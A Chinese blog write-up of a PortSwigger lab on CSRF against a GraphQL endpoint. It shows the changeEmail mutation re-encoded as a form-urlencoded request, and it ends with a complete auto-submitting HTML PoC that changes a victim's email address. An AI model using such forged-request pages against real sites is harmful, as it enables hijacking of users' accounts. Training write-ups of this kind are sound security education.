CSRF+GraphQL的奇妙组合

admin 2023年8月31日01:28:33评论41 views字数 2583阅读8分36秒阅读模式

Portswigger练兵场之GraphQL API

CSRF+GraphQL修改邮箱

Lab: Performing CSRF exploits over GraphQL

实验前置必要知识点

首先我们要清楚CSRF无法发送内容类型为application/json
使用该内容类型的 POST请求就可以防止伪造,使用内容类型 的 POST 请求就可以防止伪造。

但是,替代方法(如 GET 或任何内容类型为 x-www-form-urlencoded) 的请求可以由浏览器发送,因此如果终结点接受这些请求,则可能会使用户容易受到攻击。在这种情况下,攻击者可能能够利用漏洞向 API发送恶意请求。

实验要求

本实验室的用户管理功能由GraphOL端点提供支持。端点接受内容类型为x-www-form-urlencoded的请求,因此容易受到跨站点请求伪造(CSRF)攻击。

要解决这个实验室问题,需要制作一些HTML,使用CSRF攻击来更改查看者的电子邮件地址,然后将其上传到您的漏洞利用服务器。

您可以使用以下凭据登录到您自己的帐户:wiener:peter。

渗透开始

  • 访问对应靶场界面

https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api
  • 启动靶场

1. 站点分析

这是博客类型的网站

CSRF+GraphQL的奇妙组合
存在查看文章,无其他功能点

CSRF+GraphQL的奇妙组合
然后存在登录端点

CSRF+GraphQL的奇妙组合
利用wiener:peter登录,存在修改邮箱内容

CSRF+GraphQL的奇妙组合
尝试修改一下

CSRF+GraphQL的奇妙组合

2. 寻找可疑功能点(查看Burp历史记录进行分析)

从总体来看,修改邮箱使用了GraphQL

CSRF+GraphQL的奇妙组合
我们的任务要求是制作CSRF攻击。因此,分析突破口在这。

3. 功能点测试

将对应的日志信息发送到重放模块
由于请求类型的限制,我们是无法直接利用CSRF

CSRF+GraphQL的奇妙组合
尝试修改成GET模式模式不允许

CSRF+GraphQL的奇妙组合
尝试修改请求方式为x-www-form-urlencoded
发现可以通过这种方式发送,修改请求内容

CSRF+GraphQL的奇妙组合

{"query":"n    mutation changeEmail($input: ChangeEmailInput!) {n        changeEmail(input: $input) {n            emailn        }n    }n","operationName":"changeEmail","variables":{"input":{"email":"test@test"}}}

修改之后应该是类似GET的传参,将json形式修改

CSRF+GraphQL的奇妙组合

query=n    mutation changeEmail($input: ChangeEmailInput!) {n        changeEmail(input: $input) {n            emailn        }n    }n&operationName=changeEmail&variables={"input":{"email":"test@test"}}

因为带空格,进行url编码

query=%5Cn%20%20%20%20mutation%20changeEmail(%24input%3A%20ChangeEmailInput!)%20%7B%5Cn%20%20%20%20%20%20%20%20changeEmail(input%3A%20%24input)%20%7B%5Cn%20%20%20%20%20%20%20%20%20%20%20%20email%5Cn%20%20%20%20%20%20%20%20%7D%5Cn%20%20%20%20%7D%5Cn%26operationName%3DchangeEmail%26variables%3D%7B%22input%22%3A%7B%22email%22%3A%22test%40test%22%7D%7D

发现存在错误,寻找修改

CSRF+GraphQL的奇妙组合
n也应该进行修改的

CSRF+GraphQL的奇妙组合
但是发现还是有问题

CSRF+GraphQL的奇妙组合
最后进行修改 url编码并不是都适用,&与=不行

query=%0a+mutation+changeEmail(%24input%3a+ChangeEmailInput!)+%7b%0a++++++++changeEmail(input%3a+%24input)+%7b%0a++++++++++++email%0a++++++++%7d%0a++++%7d%0a&operationName=changeEmail&variables=%7b%22input%22%3a%7b%22email%22%3a%22test%40test%22%7d%7d

CSRF+GraphQL的奇妙组合

4.CSRF制作

检查一下HTTP包可以发现里面不存在TOKEN,可以直接CSRF

CSRF+GraphQL的奇妙组合
既然我们构造好可以成功修改邮箱之后,我们制作CSRF攻击包
右键 → 生成CSRF PoC→ 自动提交

CSRF+GraphQL的奇妙组合
利用发送服务器发送恶意CSRF攻击包

CSRF+GraphQL的奇妙组合

5.完成实验
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a1c00330330a758818fa20300f2007d.web-security-academy.net/graphql/v1" method="POST">
<input type="hidden" name="query" value="
mutation changeEmail($input: ChangeEmailInput!) {
changeEmail(input: $input) {
email
}
}
" />
<input type="hidden" name="operationName" value="changeEmail" />
<input type="hidden" name="variables" value="{"input":{"email":"ACCECK@HACKER"}}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

发送后成功修改受害者邮箱,完成实验

CSRF+GraphQL的奇妙组合

CSRF+GraphQL的奇妙组合

防御方法

要防止CSRF就是在校验类型的时候不允许application/json

原文始发于微信公众号(黄公子学安全):CSRF+GraphQL的奇妙组合

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月31日01:28:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CSRF+GraphQL的奇妙组合http://cn-sec.com/archives/1994331.html

发表评论

匿名网友 填写信息